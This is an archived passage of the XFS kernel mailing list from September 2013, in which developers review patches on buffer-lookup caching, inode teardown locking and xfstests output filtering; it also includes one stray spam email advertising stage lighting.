2013 16:24:26 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGALA1OlJ5Lapl/2dsb2JhbABbgwfCN4EfF3SCJQEBBAE6HCMFCwgDFQMJJQ8FJQMhE4d9BboWFo9RB4MegQADl3qKN4c+gzYq Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Sep 2013 08:54:15 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMR6P-0002r1-D2; Thu, 19 Sep 2013 09:24:09 +1000 Date: Thu, 19 Sep 2013 09:24:09 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find Message-ID: <20130918232409.GF9901@dastard> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find References: <1378690396-15792-1-git-send-email-david@fromorbit.com> <523A1FBD.4010701@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523A1FBD.4010701@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1379546666 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140738 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 18, 2013 at 04:48:45PM -0500, Mark Tinguely wrote: > On 09/08/13 20:33, Dave Chinner wrote: > >From: Dave Chinner > > > >CPU overhead of buffer lookups dominate most metadata intensive > >workloads. The thing is, most such workloads are hitting a > >relatively small number of buffers repeatedly, and so caching > >recently hit buffers is a good idea. > > > >Add a hashed lookaside buffer that records the recent buffer > >lookup successes and is searched first before doing a rb-tree > >lookup. If we get a hit, we avoid the expensive rbtree lookup and > >greatly reduce the overhead of the lookup. If we get a cache miss, > >then we've added an extra CPU cacheline miss into the lookup. .... > > Low cost, possible higher return. Idea looks good to me. > > What happens in xfs_buf_get_map() when we lose the xfs_buf_find() race? What race is that? > I don't see a removal of the losing lookaside entry inserted in the > xfs_buf_find(). Why would we want to do removal of an entry if some other lookup aliases to the same slot and doesn't match? If the buffer we are looking up isn't in cache at all, then we've just removed something that has had previous cache hits and is still in cache without inserting anything in it's place. If the buffer is in the cache, then we do an insert once we've found it. i.e. there is no need to do removal on lookup miss... Cheers, Dave. -- Dave Chinner david@fromorbit.com From stagelighting2@stagelighting12.oicp.net Wed Sep 18 23:08:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_FONT_FACE_BAD, HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D9B307F59 for ; Wed, 18 Sep 2013 23:08:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B6C7330404E for ; Wed, 18 Sep 2013 21:08:45 -0700 (PDT) X-ASG-Debug-ID: 1379563718-04cb6c377733f040001-NocioJ Received: from stagelighting12.oicp.net ([163.142.233.254]) by cuda.sgi.com with SMTP id yUIF8SuV9lni3tk2 for ; Wed, 18 Sep 2013 21:08:39 -0700 (PDT) X-Barracuda-Envelope-From: stagelighting2@stagelighting12.oicp.net X-Barracuda-Apparent-Source-IP: 163.142.233.254 Received: from PC-201102141733[127.0.0.1] by PC-201102141733[127.0.0.1] (SMTPD32); Thu, 19 Sep 2013 09:10:07 +0800 From: "stagelighting product factory" Subject: re: stage lighting product To: "xfs" X-ASG-Orig-Subj: re: stage lighting product MIME-Version: 1.0 Sender: stagelighting2@stagelighting12.oicp.net Reply-To: sales@6star-lighting.com Date: Thu, 19 Sep 2013 09:10:07 +0800 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[163.142.233.254] X-Barracuda-Start-Time: 1379563719 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.85 X-Barracuda-Spam-Status: No, SCORE=0.85 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_FONT_FACE_BAD, HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140742 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 HTML_FONT_FACE_BAD BODY: HTML font face is not a word 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Message-Id: <20130919040845.D1BD11296184@cuda.sgi.com>
Hello,sir
 
Sorry, we didnt get your reply?
we sent you price list of led stage lighting price, you got it ?
any feedback from you?
let us know soonest
 
Babara Wu
 
 
From bfoster@redhat.com Thu Sep 19 07:38:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8EAA47CBF for ; Thu, 19 Sep 2013 07:38:27 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7EBBD30404E for ; Thu, 19 Sep 2013 05:38:24 -0700 (PDT) X-ASG-Debug-ID: 1379594303-04cbb02c3e11bfac0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id oFr6BA486BEqcEA4 for ; Thu, 19 Sep 2013 05:38:23 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8JCcKOV003838 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 19 Sep 2013 08:38:20 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r8JCcJnv028281; Thu, 19 Sep 2013 08:38:19 -0400 Message-ID: <523AF184.3030002@redhat.com> Date: Thu, 19 Sep 2013 08:43:48 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-2-git-send-email-bfoster@redhat.com> <5239EBA2.4070207@redhat.com> <20130918225120.GC9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks In-Reply-To: <20130918225120.GC9901@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379594303 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/18/2013 06:51 PM, Dave Chinner wrote: > On Wed, Sep 18, 2013 at 02:06:26PM -0400, Brian Foster wrote: >> On 09/18/2013 12:15 PM, Brian Foster wrote: >>> Push down the transaction management for remote symlinks from >>> xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is >>> cleaned up to avoid transaction management intended for the >>> calling context (i.e., trans duplication, reservation, item >>> attachment). >>> >>> Signed-off-by: Brian Foster >>> --- >>> fs/xfs/xfs_inode.c | 15 ++++++------ >>> fs/xfs/xfs_symlink.c | 64 ++++++++++++++++++---------------------------------- >>> fs/xfs/xfs_symlink.h | 2 +- >>> 3 files changed, 31 insertions(+), 50 deletions(-) >>> >> ... >>> diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c >>> index f622a97..f85f6f2 100644 >>> --- a/fs/xfs/xfs_symlink.c >>> +++ b/fs/xfs/xfs_symlink.c >>> @@ -424,8 +424,7 @@ xfs_symlink( >>> */ >> ... >>> >>> @@ -563,16 +546,13 @@ xfs_inactive_symlink_rmt( >>> */ >>> int >>> xfs_inactive_symlink( >>> - struct xfs_inode *ip, >>> - struct xfs_trans **tp) >>> + struct xfs_inode *ip) >>> { >>> struct xfs_mount *mp = ip->i_mount; >>> int pathlen; >>> >>> trace_xfs_inactive_symlink(ip); >>> >>> - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); >>> - >> >> I just want to call out one thing here in case it isn't noticed on >> review... the safety of this is something I was curious about. >> Specifically, note that I've removed the inode locking from >> xfs_inactive(), which previously covered xfs_inactive_symlink() (for >> xfs_idata_realloc()), down into xfs_inactive_symlink_rmt(). > > see my comments about idata_realloc() in the previous email. It > might be safe, but it's better not to leave a landmine if we add > some other caller to the function in the future. > >> My assumption was that this is currently ok since at this point we have >> an inode with di_nlink == 0. > > It's not an entirely correct assumption. The end result is likely > the same, but di_nlink has no influence here. i.e. the inode > lifecycle is rather complex and there is an interesting condition > that covers inodes going through xfs_inactive(). > > xfs_inactive() is called when the VFS reference count goes to zero > and the VFS inode is being reclaimed, but the XFS_IRECLAIMABLE flag > is not yet set on it. This doesn't happen until after xfs_inactive() > completes and the VFS calls ->destroy_inode. Hence the inode is in a > limbo state where calls to igrab() will fail but the inode can be > found in the inode radix trees without being marked as "under > reclaim conditions". > > We handle this with xfs_iget_cache_hit() by the use of igrab(), > which will fail on such an inode, and we use the same logic in > xfs_inode_ag_walk_grab() to avoid this hole. That said, > xfs_reclaim_inode_grab() does no such thing - it only checks for > XFS_IRECLAIMABLE under an RCU traversal, and so may find inodes for > which that the radix tree reclaimable tag is stale. hence that > check is always done under a spinlock. > > IOWs, the only thing that protects us from outside interference in > xfs_inactive() is the logic in the XFS inode cache lookups > specifically avoiding inodes in the transient state that > xfs_inactive() is called under. It doesn't matter what the contents > of the inode are - it's the safe transition from one lifecycle state > to the next that is important at this point. > > So, like I said in the previous email, we have to be careful with > cache lookups to prevent races with the work xfs_inactive() is > doing, but that doesn't mean we shouldn't still lock the inodes > correctly when modifying them... > So broadly speaking, the inode states are more granular than my di_nlink based assumption. We have to account for access via internal caches, even if the inode is in the process of being torn down in the vfs. I'll have to wade through the caching code much more to understand the intricacies. ;) Thanks for the breakdown. With regard to the locking here, any preference as to whether xfs_inactive_symlink() takes the lock and hands it to xfs_inactive_symlink_rmt() or the former locks/unlocks and the latter continues to work as implemented in this patch (save other comments to be addressed)? Actually now that I look at the code, xfs_inactive_symlink_rmt() does the transaction allocation and reservation now, so for that reason I think the lock/unlock pattern is required. Brian >> If that's not accurate or not expected to >> remain so after O_TMPFILE related work, I suppose I could pull the >> locking back up into xfs_inactive_symlink(). > > O_TMPFILE itself won't change anything - they will look just like > any other unlinked inode going through xfs_inactive() on their way > to the XFS_IRECLAIMABLE state. > > It's when we start separating the xfs_inactive() work into multiple > distinct stages to allow for optimisation of inode freeing that we > need to be careful as these introduce new states into the lifecycle > state machine. These will most likely involve new state flags and > radix tree tags and walks, but AFAICT, overall concept that > xfs_inactive/xfs_inactive_symlink is run from the same special > isolated "limbo" context should not change.... > > Cheers, > > Dave. > From bfoster@redhat.com Thu Sep 19 07:38:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 239707F51 for ; Thu, 19 Sep 2013 07:38:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C6087AC005 for ; Thu, 19 Sep 2013 05:38:41 -0700 (PDT) X-ASG-Debug-ID: 1379594320-04bdf02f211209560001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id xr2fE3AcH9WfD06u for ; Thu, 19 Sep 2013 05:38:40 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8JCccI2009462 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 19 Sep 2013 08:38:38 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8JCccm8004658; Thu, 19 Sep 2013 08:38:38 -0400 Message-ID: <523AF196.80205@redhat.com> Date: Thu, 19 Sep 2013 08:44:06 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs: push down inactive transaction mgmt for ifree References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-4-git-send-email-bfoster@redhat.com> <20130918230620.GE9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: push down inactive transaction mgmt for ifree In-Reply-To: <20130918230620.GE9901@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379594320 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/18/2013 07:06 PM, Dave Chinner wrote: > On Wed, Sep 18, 2013 at 12:16:00PM -0400, Brian Foster wrote: >> Push the inode free work performed during xfs_inactive() down into >> a new xfs_inactive_ifree() helper. This clears xfs_inactive() from >> all inode locking and transaction management more directly >> associated with freeing the inode xattrs, extents and the inode >> itself. >> >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_inode.c | 121 +++++++++++++++++++++++++++++++---------------------- >> 1 file changed, 71 insertions(+), 50 deletions(-) >> >> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c >> index 9416462..a6ed69d 100644 >> --- a/fs/xfs/xfs_inode.c >> +++ b/fs/xfs/xfs_inode.c >> @@ -1710,6 +1710,74 @@ error0: >> } >> >> /* >> + * xfs_inactive_ifree() >> + * >> + * Perform the inode free when an inode is unlinked. >> + */ >> +STATIC int >> +xfs_inactive_ifree( >> + struct xfs_inode *ip) >> +{ >> + xfs_bmap_free_t free_list; >> + xfs_fsblock_t first_block; >> + int committed; >> + struct xfs_mount *mp = ip->i_mount; >> + struct xfs_trans *tp; >> + int error; >> + >> + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); >> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); >> + if (error) { >> + ASSERT(XFS_FORCED_SHUTDOWN(mp)); >> + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); >> + return error; >> + } >> + >> + xfs_ilock(ip, XFS_ILOCK_EXCL); >> + xfs_trans_ijoin(tp, ip, 0); >> + >> + xfs_bmap_init(&free_list, &first_block); >> + error = xfs_ifree(tp, ip, &free_list); >> + if (error) { >> + /* >> + * If we fail to free the inode, shut down. The cancel >> + * might do that, we need to make sure. Otherwise the >> + * inode might be lost for a long time or forever. >> + */ >> + if (!XFS_FORCED_SHUTDOWN(mp)) { >> + xfs_notice(mp, "%s: xfs_ifree returned error %d", >> + __func__, error); >> + xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); >> + } >> + xfs_iunlock(ip, XFS_ILOCK_EXCL); >> + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); >> + return error; >> + } >> + >> + /* >> + * Credit the quota account(s). The inode is gone. >> + */ >> + xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); >> + >> + /* >> + * Just ignore errors at this point. There is nothing we can >> + * do except to try to keep going. Make sure it's not a silent >> + * error. >> + */ >> + error = xfs_bmap_finish(&tp, &free_list, &committed); >> + if (error) >> + xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", >> + __func__, error); >> + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); >> + if (error) >> + xfs_notice(mp, "%s: xfs_trans_commit returned error %d", >> + __func__, error); >> + >> + xfs_iunlock(ip, XFS_ILOCK_EXCL); >> + return 0; >> +} > > I suspect we can clean up the error handling here now, and make it > look like the symlink remove inactive handle where we cancel bmaps > and abort transactions and trigger shutdowns appropriately. I'd > leave that to a separate patchset, though ;) > Hmm, well I follow what you mean as far as changing the code I think. But what changed that makes this safe? Or are you suggesting to shutdown on a bmap_finish/trans_commit failure instead of just "being noisy?" (Regardless, a separate patchset sounds good..) >> - __func__, error); >> - } >> + error = xfs_inactive_ifree(ip); >> + if (error) >> + goto out; >> >> /* >> * Release the dquots held by inode, if any. >> */ >> xfs_qm_dqdetach(ip); >> - xfs_iunlock(ip, XFS_ILOCK_EXCL); >> out: >> return VN_INACTIVE_CACHE; >> } > > I think it's time to kill VN_INACTIVE_CACHE, as well. It's a > hold-over from Irix, and it serves no purpose what-so-ever on > Linux... > Ok, looks like a trivial patch to append to the series. In fact, there appears to be no reason to return a value from xfs_inactive() at all (along with the out label being unnecessary)... Thanks. Brian > Otherwise it looks good. > > Cheers, > > Dave. > From tinguely@sgi.com Thu Sep 19 08:23:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A7F997F50 for ; Thu, 19 Sep 2013 08:23:35 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 85D2A304043; Thu, 19 Sep 2013 06:23:32 -0700 (PDT) Message-ID: <523AFAD4.4040208@sgi.com> Date: Thu, 19 Sep 2013 08:23:32 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find References: <1378690396-15792-1-git-send-email-david@fromorbit.com> <523A1FBD.4010701@sgi.com> <20130918232409.GF9901@dastard> In-Reply-To: <20130918232409.GF9901@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/18/13 18:24, Dave Chinner wrote: > On Wed, Sep 18, 2013 at 04:48:45PM -0500, Mark Tinguely wrote: >> On 09/08/13 20:33, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> CPU overhead of buffer lookups dominate most metadata intensive >>> workloads. The thing is, most such workloads are hitting a >>> relatively small number of buffers repeatedly, and so caching >>> recently hit buffers is a good idea. >>> >>> Add a hashed lookaside buffer that records the recent buffer >>> lookup successes and is searched first before doing a rb-tree >>> lookup. If we get a hit, we avoid the expensive rbtree lookup and >>> greatly reduce the overhead of the lookup. If we get a cache miss, >>> then we've added an extra CPU cacheline miss into the lookup. > .... >> >> Low cost, possible higher return. Idea looks good to me. >> >> What happens in xfs_buf_get_map() when we lose the xfs_buf_find() race? > > What race is that? I am thinking the two overlapping callers to xfs_buf_find() protected by the two calls to xfs_buf_find(). But my mistake was where the lookaside gets added. It is added correctly on the second call to xfs_buf_find() where it make sure that another find did not beat this find. Yes, no entry needs to be removed. --Mark. From dsterba@suse.cz Thu Sep 19 08:30:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D7BFA7F50 for ; Thu, 19 Sep 2013 08:30:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B3A648F8073 for ; Thu, 19 Sep 2013 06:30:33 -0700 (PDT) X-ASG-Debug-ID: 1379597431-04bdf02f23120e610001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id BEGDmWA6B5NXwOMN for ; Thu, 19 Sep 2013 06:30:32 -0700 (PDT) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 71118A51FF; Thu, 19 Sep 2013 15:30:31 +0200 (CEST) Received: by ds.suse.cz (Postfix, from userid 10065) id 79F94DA8C3; Thu, 19 Sep 2013 15:30:29 +0200 (CEST) Date: Thu, 19 Sep 2013 15:30:29 +0200 From: David Sterba To: Josef Bacik Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: fix set-default test in btrfs/001 Message-ID: <20130919133029.GG6810@twin.jikos.cz> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix set-default test in btrfs/001 Reply-To: dsterba@suse.cz Mail-Followup-To: dsterba@suse.cz, Josef Bacik , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org References: <1379537307-21681-1-git-send-email-jbacik@fusionio.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379537307-21681-1-git-send-email-jbacik@fusionio.com> User-Agent: Mutt/1.5.21 (2012-12-30) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1379597432 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140752 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 18, 2013 at 04:48:27PM -0400, Josef Bacik wrote: > We were actually testing this improperly, there was a bug in the set default > code so we weren't actually honoring the 0 subvolid properly. To fix this we > need to get the subvolid for the subvol we want to set as the default and use > that in the command. With this patch we now pass again with the fix for the 0 > subvolid. Thanks, > > Signed-off-by: Josef Bacik Tested-by: David Sterba From JBacik@fusionio.com Thu Sep 19 08:36:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9FE8B7F37 for ; Thu, 19 Sep 2013 08:36:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 81E6130404E for ; Thu, 19 Sep 2013 06:36:52 -0700 (PDT) X-ASG-Debug-ID: 1379597810-04cbb02c3c11c4cd0001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id FOqTfYLmnbmGWtHu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 19 Sep 2013 06:36:51 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx1.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id 2F9787C0417 for ; Thu, 19 Sep 2013 07:36:50 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1379597810; bh=SLfU5GBhgaUC4kPQsiQZe995VMX9EcQdWm6NsBvxnCY=; h=Date:From:To:CC:Subject:References:In-Reply-To; b=B7xgJI2Y6CBCAn2h42HotPMW0askjpoQQ2d4GaPYkWtX9DH6SmZ/bFN7s/+CoDhtL 4rESMpfjh3NDSUtQN81+LUtAPC6DT9yqAI7+LFqWBQWC1oDiX9v37yx/vC/c3n2K7v 9PYQfsj4w5iWFYmjSImcdIiQPbjMojFCznLJrjKo= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx1.fusionio.com with ESMTP id CxEr0SvhsjbTghN9 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Thu, 19 Sep 2013 07:36:49 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.158.1; Thu, 19 Sep 2013 07:36:48 -0600 Date: Thu, 19 Sep 2013 09:36:47 -0400 From: Josef Bacik To: Dave Chinner CC: Josef Bacik , , Subject: Re: [BULK] Re: [PATCH] xfstests: introduce _filter_backtick Message-ID: <20130919133647.GB1615@localhost.localdomain> X-ASG-Orig-Subj: Re: [BULK] Re: [PATCH] xfstests: introduce _filter_backtick References: <1379536166-19232-1-git-send-email-jbacik@fusionio.com> <20130918211325.GB4330@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <20130918211325.GB4330@dastard> User-Agent: Mutt/1.5.21 (2011-07-01) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1379597811 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140752 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Sep 19, 2013 at 07:13:25AM +1000, Dave Chinner wrote: > On Wed, Sep 18, 2013 at 04:29:26PM -0400, Josef Bacik wrote: > > Apparently the GNU guys decided to change their error output from something like > > > > Error `Error message' > > > > To > > > > Error 'Error message' > > > > So to fix this I've introduced _filter_backtick which will change any ` to ' and > > then changed the output of the tests that were failing for me because of this > > output. I tested this on a new box that has the new output and an old box which > > has the old output and it appears to fix the issue. Thanks, > > > > Signed-off-by: Josef Bacik > > That's just leaving a landmine behind, and it doesn't catch all the > tests that need updating. This approach was floated here: > > http://oss.sgi.com/archives/xfs/2013-05/msg00312.html > > And my response was to add a global filter to the .check file so it > doesn't leave a landmine. Indeed, I have a local version on tomas' > patch that I modified in May does just that: > > --- a/check > +++ b/check > @@ -477,6 +477,10 @@ do > echo " - no qualified output" > err=true > else > + > + # coreutils 2.16+ changed quote formats in error messages from > + # `foo' to 'foo'. Filter old versions to match the new version. > + sed 